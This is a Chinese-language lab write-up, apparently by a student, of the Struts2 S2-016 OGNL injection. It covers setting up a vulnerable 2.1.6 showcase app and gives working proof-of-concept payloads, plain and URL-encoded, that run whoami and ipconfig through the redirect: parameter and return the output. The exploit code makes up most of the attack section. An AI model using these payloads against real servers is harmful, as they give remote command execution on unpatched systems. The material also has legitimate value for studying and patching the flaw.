Struts-s2-016
此文僅供大家交流學習,嚴禁非法使用
一、參考網址:
http://www.freebuf.com/vuls/11220.html
二、 影響版本:
Struts 2.0.0 - Struts 2.3.15
三、 漏洞介紹:
Struts 2 DefaultActionMapper支持通過使用“action:”或“redirect:”前綴參數來進行短路導航狀態更改的方法,然后是所需的導航目標表達式。該機制旨在幫助將導航信息附加到表單中的按鈕。
在2.3.15.1之前的Struts 2中,“action:”,“redirect:”或“redirectAction:”之后的信息沒有被正確的清理。由于所述信息將被評估為對值堆棧的OGNL表達式,因此引入了注入服務器端代碼的可能性。
參數action的值redirect以及redirectAction沒有正確過濾,導致ognl代碼執行。
四、 環境搭建:
- 下載/struts/2.1.6
下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip
下載安裝xampp
部署showcase
解壓
- 復制到.
- 重啟tomcat
- 已成功自動部署
五、 POC:
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
六、 測試網址:
原始網址:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action
修改之后網址:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
七、執行結果
執行結果,有下載文件,下載并用notepad++打開看到結果
八、發現問題并修改
但存在問題,執行ipconfig命令時,僅僅輸出一行
自習查看POC,很是無奈,但發現println,想到java也有類似函數,java中是僅輸出一行,要想全部輸出要循環直到read()=-1,恰好看到前面也有read函數,感覺應該一樣,但懶的去寫循環就手動循環;兩句話:#d.read(#e),#matt.getWriter().println(#e),需要修改之前e大小,我這里改為500。至于循環次數,和e的大小,大家在使用的時候根據需求適當調整。我嘗試了一下,結果成功了。
修改后POC
${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','ipconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
修改后網址:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27cmd.exe%27%2C%20%27%2fc%27%2C%27ipconfig%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
執行結果:
九、 至此,該漏洞基本利用完畢
本人還是一個未畢業的小萌新,希望大家多多幫助,有問題請發送郵件到xrzsupupup@163.com不勝感激,我也會盡量去幫助大家
堅決做一名白帽子